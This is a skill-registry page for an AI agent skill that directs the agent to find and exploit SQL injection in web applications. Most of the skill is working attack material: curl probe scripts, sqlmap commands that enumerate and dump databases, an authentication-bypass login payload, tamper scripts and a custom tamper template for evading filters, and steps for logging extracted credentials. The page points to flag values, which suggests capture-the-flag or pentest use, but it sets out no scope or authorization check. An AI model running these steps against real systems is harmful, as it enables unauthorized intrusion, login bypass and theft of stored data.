antoninolorenzo/ai-ops/web-sql-injection

Name: web-sql-injection
Author: antoninolorenzo

Claude Code and agent skill by antoninolorenzo/ai-ops

Trust tier 2

community

LLM review pending

By antoninolorenzo
Data
antoninolorenzo/ai-ops
ai_ops/core/tools/load_skill/bundled/web-sql-injection/SKILL.md
Updated 26 Oct 2026
Version 1.0.01 version recorded

Source check pending

Checking that the SKILL.md file is still in the repository.

Detect and exploit SQL injection vulnerabilities in web applications. Load when user-controlled input is incorporated into database queries, or when authentication bypass, data extraction, or error-based information disclosure is the objective.

Install

npx vskill@latest install antoninolorenzo/ai-ops/web-sql-injection

SKILL.md

Confirm Injection Point

When you have identified a potential injection point, start by manually testing it to decide whether to proceed.

To perform manual testing, write a probe script and execute it; if you have a file write tool use it to write the file.

Note: avoid loading full HTML responses in context, filter before output reaches you.

Here's an example of how you would write a probe script to test whether a query parameter id is an injection point:

bash

cat > sqli_probe.sh << 'EOF'
TARGET="http://TARGET_URL"
PARAM="id"
 
# Error probe
ERROR=$(curl -s "${TARGET}?${PARAM}=1'" | grep -iEc "(error|sql|syntax|warning|exception|pg_query|mysql_fetch)")
 
# Boolean probe — compare response sizes
TRUE_SZ=$(curl -s -o /dev/null -w "%{size_download}" "${TARGET}?${PARAM}=1 AND 1=1")
FALSE_SZ=$(curl -s -o /dev/null -w "%{size_download}" "${TARGET}?${PARAM}=1 AND 1=2")
 
echo "error_lines=$ERROR true_size=$TRUE_SZ false_size=$FALSE_SZ"
EOF
 
bash /tmp/sqli_probe.sh

What to look for:

Response	Meaning
SQL error message in output	Error-based injection confirmed
Different size between AND 1=1 and AND 1=2	Blind boolean confirmed
Delayed response on `AND SLEEP(5)`	Time-based blind confirmed
Identical responses to all probes	Likely not injectable here

If no response difference is observed across GET params, POST body, cookies, and headers, move on. Do not retry the same parameter.

If you haven't identified the database backend yet, attempt doing it now:

bash

curl -s "http://$TARGET/item?id=1'" | grep -iE "(mysql|postgresql|sqlite|oracle|mssql|syntax)" | head -5

If you have access to a whiteboard, record the confirmed injection point before proceeding:

name: sqli_[name...]
description: Injection confirmed on <endpoint>, parameter <param>, type <error|boolean|time>.
content: probe commands and responses that confirmed the injection

sqlmap

When executing sqlmap always add -v 0 --batch parameters, this suppresses per-request logging and avoids confirmation prompts; those parameters are required to avoid bloating the context and to ensure proper execution of commands.

Invocation by injection point type

bash

# GET parameter
sqlmap -u "http://$TARGET/item?id=1" -p id --batch -v 0 --random-agent
 
# POST body
sqlmap -u "http://$TARGET/login" --data "username=test&password=test" -p username --batch -v 0 --random-agent
 
# JSON body
sqlmap -u "http://$TARGET/api/item" \
  --data '{"id": "1"}' \
  --headers="Content-Type: application/json" \
  --batch -v 0 --random-agent
 
# Cookie
sqlmap -u "http://$TARGET/" --cookie "session=abc123*" --batch -v 0 --random-agent
 
# HTTP header
sqlmap -u "http://$TARGET/" --headers="X-Forwarded-For: 127.0.0.1*" --batch -v 0 --random-agent

Useful Flags

Flag	Use
`--dbms=mysql`	Skip DBMS detection when already known
`--technique=BEUST`	Restrict to specific techniques (B=boolean, E=error, U=union, S=stacked, T=time)
`--level=5 --risk=3`	Maximum coverage — use when lower levels find nothing
`--threads=5`	Parallel requests — speeds up blind injection
`--string="welcome"`	Boolean anchor — string present in true-condition response only
`--second-url="http://$TARGET/profile"`	Second-order: inject at main URL, trigger at second-url
`--auth-type=Basic --auth-cred="user:pass"`	Authenticated endpoints

Data extraction sequence

bash

# 1. Current context
sqlmap -u "http://$TARGET/item?id=1" --batch -v 0 --current-db --current-user
 
# 2. List databases
sqlmap -u "http://$TARGET/item?id=1" --batch -v 0 --dbs
 
# 3. List tables in target database
sqlmap -u "http://$TARGET/item?id=1" --batch -v 0 -D <database> --tables
 
# 4. Dump target table
sqlmap -u "http://$TARGET/item?id=1" --batch -v 0 -D <database> -T <table> --dump

After each step, read extracted values before deciding what to dump next.

If you have access to a whiteboard, record extracted credentials or flag values immediately:

name: sqli_[name...]
description: SQLi on <endpoint> parameter <param>, type <error|boolean|time>, extracted <table> from <database>: <key finding>.
content: 
1. probe commands and responses that confirmed the injection
2. sqlmap command used, extracted values

Authentication bypass

bash

curl -s -X POST "http://$TARGET/login" \
  --data "username=' OR '1'='1'--&password=x" \
  -o /dev/null -w "status=%{http_code} size=%{size_download}\n"

A redirect (302) or significantly larger response indicates bypass. If manual fails:

bash

sqlmap -u "http://$TARGET/login" \
  --data "username=*&password=test" \
  --string="Welcome" \
  --technique=B \
  --batch -v 0

Filter Bypass

Try --level=5 --risk=3 first. If still blocked, apply tamper scripts.

Built-in tampers

Tamper	What it does	Bypasses
`space2comment`	Replaces spaces with `/**/`	Space / whitespace filters
`space2dash`	Replaces spaces with `--x\n`	Strict space filters
`randomcase`	Randomizes keyword casing (`SeLeCt`)	Case-sensitive keyword blocklists
`between`	Replaces `=` and `>` with BETWEEN equivalents	Comparison operator filters
`charencode`	URL-encodes every character in payload	Raw character sanitization
`htmlencode`	HTML-encodes characters (`'` → `'`)	HTML-context injection points

Combine with comma separation: --tamper=space2comment,randomcase

Writing a custom tamper

If built-in tampers do not bypass the filter and you have identified the specific encoding or transformation the application expects, write a custom tamper.

Tamper structure:

python

from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.NORMAL
 
def dependencies():
    # Runs once before tamper execution
    pass
 
def tamper(payload, **kwargs):
    """One-line description of what this tamper does."""
    # Useful kwargs:
    #   kwargs.get("dbms")      — detected DBMS, adapt syntax per backend
    #   kwargs.get("paramType") — URI / POST / COOKIE / HEADER
    #   kwargs.get("headers")   — current request headers dict
    if payload:
        return payload.replace(" ", "/**/")
    return payload

Reference by filename without extension: --tamper=/path/to/mytamper

When combining multiple tampers, priority controls processing order: LOWEST < LOWER < LOW < NORMAL < HIGH < HIGHER < HIGHEST.

Stop Condition

If sqlmap with --level=5 --risk=3 across all identified parameters returns nothing, the endpoint is not vulnerable via standard techniques. Do not retry.

If you have a whiteboard tool, record the dead end:

name: sqli_[name...]
description: SQLi not found on <endpoint> (...)
content: parameters tested, sqlmap command used

Security

Security scanPassed, 100 of 100Pattern checks on the skill's files.
Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingai_ops/core/tools/load_skill/bundled/web-sql-injection/SKILL.md

Popularity

Repository stars: 168
Repository forks: 26
7-day trend score: 0

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/antoninolorenzo/ai-ops/web-sql-injection/badge)](https://verified-skill.com/skills/antoninolorenzo/ai-ops/web-sql-injection)

Something wrong with this skill or its page? Tell us.